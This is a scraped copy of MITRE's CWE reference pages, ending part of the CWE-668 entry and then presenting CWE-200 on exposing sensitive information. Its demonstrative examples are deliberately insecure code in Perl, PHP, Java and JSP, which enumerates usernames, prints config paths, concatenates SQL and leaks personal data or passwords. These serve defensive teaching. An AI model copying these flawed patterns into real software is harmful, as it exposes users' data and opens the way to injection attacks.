MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1403 Comprehensive Categorization: Exposed Resource
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1436 OWASP Top Ten 2025 Category A01:2025 - Broken Access Control
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reasons Frequent Misuse, Abstraction

Rationale

CWE-668 is high-level and is often misused as a catch-all when lower-level CWE IDs might be applicable. It is sometimes used for low-information vulnerability reports [REF-1287]. It is a level-1 Class (i.e., a child of a Pillar). It is not useful for trend analysis.

Comments

Closely analyze the specific mistake that is allowing the resource to be exposed, and perform a CWE mapping for that mistake.
+ Notes

Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.
+ References
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28.
<https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>. (URL validated: 2024-11-17)
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-04-11
(CWE Draft 9, 2008-04-11) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Common_Consequences, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated References
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2019-01-03 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships, Relevant_Properties
2017-01-19 CWE Content Team MITRE
updated Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2014-06-23 CWE Content Team MITRE
updated Relationships
2013-07-17 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Relationships
2010-09-27 CWE Content Team MITRE
updated Relationships
2009-12-28 CWE Content Team MITRE
updated Relationships
2009-10-29 CWE Content Team MITRE
updated Other_Notes, Theoretical_Notes
2009-07-27 CWE Content Team MITRE
updated Description, Relationships
2009-07-22 CWE Content Team MITRE
Clarified description to include permissions.
2009-05-27 CWE Content Team MITRE
updated Relationships
2008-11-24 CWE Content Team MITRE
updated Relationships
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Weakness ID: 200
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
+ Extended Description

There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include:

  • private, personal information, such as personal messages, financial data, health records, geographic location, or contact details
  • system status and environment, such as the operating system and installed packages
  • business secrets and intellectual property
  • network status and configuration
  • the product's own code or internal state
  • metadata, e.g. logging of connections or message headers
  • indirect information, such as a discrepancy between two internal operations that can be observed by an outsider

Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include:

  • the product's own users
  • people or organizations whose information is created or used by the product, even if they are not direct product users
  • the product's administrators, including the admins of the system(s) and/or networks on which the product operates
  • the developer

Information exposures can occur in different ways:

  • the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized"
  • a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program.
  • the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place.

It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read. CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.

+ Alternate Terms
Information Disclosure
This term is frequently used in vulnerability advisories to describe a consequence or technical impact, for any vulnerability that has a loss of confidentiality. Often, CWE-200 can be misused to represent the loss of confidentiality, even when the mistake - i.e., the weakness - is not directly related to the mishandling of the information itself, such as an out-of-bounds read that accesses sensitive memory contents; here, the out-of-bounds read is the primary weakness, not the disclosure of the memory. In addition, this phrase is also used frequently in policies and legal documents, but it does not refer to any disclosure of security-relevant information.
Information Leak
This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with the accidental exposure of information from a different weakness, but in other cases (such as "memory leak"), this deals with improper tracking of resources, which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 668 Exposure of Resource to Wrong Sphere
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 201 Insertion of Sensitive Information Into Sent Data
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 203 Observable Discrepancy
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 209 Generation of Error Message Containing Sensitive Information
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 213 Exposure of Sensitive Information Due to Incompatible Policies
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 215 Insertion of Sensitive Information Into Debugging Code
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 359 Exposure of Private Personal Information to an Unauthorized Actor
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 497 Exposure of Sensitive System Information to an Unauthorized Control Sphere
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 538 Insertion of Sensitive Information into Externally-Accessible File or Directory
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1273 Device Unlock Credential Sharing
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1295 Debug Messages Revealing Unnecessary Information
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1431 Driving Intermediate Cryptographic State/Results to Hardware Module Outputs
CanFollow Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 498 Cloneable Class Containing Sensitive Information
CanFollow Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 499 Serializable Class Containing Sensitive Data
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1272 Sensitive Information Uncleared Before Debug/Power State Transition
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 203 Observable Discrepancy
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 209 Generation of Error Message Containing Sensitive Information
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 532 Insertion of Sensitive Information into Log File
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: Web Based (Undetermined Prevalence)

Class: Mobile (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

(bad code)
Example Language: Perl 
my $username=param('username');
my $password=param('password');

if (IsValidUsername($username) == 1)
{
if (IsValidPassword($username, $password) == 1)
{
print "Login Successful";
}
else
{
print "Login Failed - incorrect password";
}
}
else
{
print "Login Failed - unknown username";
}

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

(result)
 
"Login Failed - incorrect username or password"


Example 2


This code tries to open a database connection, and prints any exceptions that occur.

(bad code)
Example Language: PHP 
try {
openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), '\n';
echo 'Check credentials in config file at: ', $Mysql_config_location, '\n';
}

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.



Example 3


In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

(bad code)
Example Language: Java 
public BankAccount getUserBankAccount(String username, String accountNumber) {
BankAccount userAccount = null;
String query = null;
try {
if (isAuthorizedUser(username)) {
query = "SELECT * FROM accounts WHERE owner = "
+ username + " AND accountID = " + accountNumber;
DatabaseManager dbManager = new DatabaseManager();
Connection conn = dbManager.getConnection();
Statement stmt = conn.createStatement();
ResultSet queryResult = stmt.executeQuery(query);
userAccount = (BankAccount)queryResult.getObject(accountNumber);
}
} catch (SQLException ex) {
String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
}
return userAccount;
}

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.



Example 4


This code stores location information about the current user:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...

catch (Exception e) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage("Sorry, this application has experienced an error.");
AlertDialog alert = builder.create();
alert.show();
Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.



Example 5


The following is an actual MySQL error statement:

(result)
Example Language: SQL 
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4

The error clearly exposes the database credentials.



Example 6


This code displays some information on a web page.

(bad code)
Example Language: JSP 
Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.



Example 7


The following program changes its behavior based on a debug flag.

(bad code)
Example Language: JSP 
<% if (Boolean.getBoolean("debugEnabled")) {
%>
User account number: <%= acctNo %>
<%
} %>

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .



Example 8


This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

(bad code)
Example Language: XML 
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Rust library leaks Oauth client details in application debug logs
Digital Rights Management (DRM) capability for mobile platform leaks pointer information, simplifying ASLR bypass
Enumeration of valid usernames based on inconsistent responses
Account number enumeration via inconsistent responses.
User enumeration via discrepancies in error messages.
Telnet protocol allows servers to obtain sensitive environment information from clients.
Script calls phpinfo(), revealing system configuration to web user
Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.
Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.
Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method.
Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.
POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.
Program reveals password in error message if attacker can trigger certain database errors.
Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
Direct request to library file in web application triggers pathname leak in error message.
Malformed regexp syntax leads to information exposure in error message.
Password exposed in debug information.
FTP client with debug option enabled shows password to the screen.
Collaboration platform does not clear team emails in a response, allowing leak of email addresses
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Developers may insert sensitive information that they do not believe, or they might forget to remove the sensitive information after it has been processed
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
Separate mistakes or weaknesses could inadvertently make the sensitive information available to an attacker, such as in a detailed error message that can be read by an unauthorized party
+ Detection Methods
Method Details

Automated Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Inter-application Flow Analysis

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:
  • Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
  • Source code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 635 Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 717 OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data